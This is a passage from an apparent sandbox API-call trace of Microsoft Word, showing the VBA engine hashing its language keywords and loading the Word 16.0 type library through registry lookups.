szName="CVar") returned 0x10e307 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0018.105] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0018.106] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0018.107] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0018.108] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x3066c0 | out: phkResult=0x3066c0*=0x9a2) returned 0x0 [0018.108] RegOpenKeyW (in: hKey=0x9a2, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x3066b8 | out: phkResult=0x3066b8*=0x9aa) returned 0x0 [0018.108] RegEnumKeyW (in: hKey=0x9aa, dwIndex=0x0, lpName=0x3066e8, cchName=0xa | out: lpName="8.7") returned 0x0 [0018.109] wcscpy_s (in: _Destination=0x3066d0, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0018.109] RegOpenKeyW (in: hKey=0x9aa, lpSubKey="8.7", phkResult=0x306778 | out: phkResult=0x306778*=0x9b2) returned 0x0 [0018.109] _ultoa_s (in: _Val=0x409, _DstBuf=0x3066f0, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0018.109] RegOpenKeyA (in: hKey=0x9b2, lpSubKey="409", phkResult=0x3066e0 | out: phkResult=0x3066e0*=0x0) returned 0x2 [0018.109] RegOpenKeyW (in: hKey=0x9ba, lpSubKey="win64", phkResult=0x3066e8 | out: phkResult=0x3066e8*=0x9c2) returned 0x0 [0018.110] RegCloseKey (hKey=0x9c2) returned 0x0 [0018.110] RegCloseKey (hKey=0x9ba) returned 0x0 [0018.110] _ultow_s (in: _Value=0x0, _Buffer=0x306780, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.110] RegOpenKeyW (in: hKey=0x9b2, lpSubKey="0", phkResult=0x306758 | out: phkResult=0x306758*=0x9b6) returned 0x0 [0018.110] RegQueryValueW (in: hKey=0x9b6, lpSubKey="win64", lpData=0x3067a0, lpcbData=0x306754 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0x306754) returned 0x0 [0018.111] wcscpy_s (in: _Destination=0x306ad0, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0018.111] RegCloseKey (hKey=0x9b6) returned 0x0 [0018.111] RegCloseKey (hKey=0x9b2) returned 0x0 [0018.111] RegCloseKey (hKey=0x9aa) returned 0x0 [0018.111] RegCloseKey (hKey=0x9a2) returned 0x0 [0018.111] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0x306758*=0x0 | out: pptlib=0x306758*=0x7346470) returned 0x0 [0018.111] ITypeLib:RemoteGetDocumentation (in: This=0x7346470, index=-1, refPtrFlags=0x306778, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa10c7b8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa10c7b8) returned 0x0 [0018.112] IUnknown:QueryInterface (in: This=0x7346470, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306568 | out: ppvObject=0x306568*=0x0) returned 0x80004002 [0018.112] ITypeLib:RemoteGetLibAttr (in: This=0x7346470, ppTLibAttr=0x306560, pDummy=0x10 | out: ppTLibAttr=0x306560, pDummy=0x10) returned 0x0 [0018.112] ITypeLib:RemoteGetDocumentation (in: This=0x7346470, index=-1, refPtrFlags=0x0, pbstrName=0x306558, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x75b9e70 | out: pbstrName=0x306558*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x75b9e70*="䏰߾") returned 0x0 [0018.112] StringFromGUID2 (in: rguid=0x78200a0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x306580, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0018.112] _ultow_s (in: _Value=0x8, _Buffer=0x3064ca, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0018.112] _ultow_s (in: _Value=0x7, _Buffer=0x3064ce, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0018.112] _ultow_s (in: _Value=0x0, _Buffer=0x3064d2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.112] wcscpy_s (in: _Destination=0x2d14f08, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0018.112] wcscpy_s (in: _Destination=0x2d14f0e, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0018.112] wcscpy_s (in: _Destination=0x2d14f5a, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0018.112] wcscpy_s (in: _Destination=0x2d14f68, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0018.112] wcscpy_s (in: _Destination=0x2d14fde, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0018.112] ITypeLib:LocalReleaseTLibAttr (This=0x7346470) returned 0x0 [0018.112] wcscpy_s (in: _Destination=0x79d9650, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0018.112] ITypeLib:RemoteGetDocumentation (in: This=0x7346470, index=-1, refPtrFlags=0x306678, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4) returned 0x0 [0018.112] SysStringLen (param_1="Word") returned 0x4 [0018.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0018.112] SysStringLen (param_1="Word") returned 0x4 [0018.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x2ccdd88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0018.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0018.112] strcpy_s (in: _Dst=0x306470, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0018.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x306470, cbMultiByte=5, lpWideCharStr=0x3062c0, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0018.112] wcsncpy_s (in: _Destination=0x306270, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0018.112] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0018.112] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11c) returned 0x7a01940 [0018.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 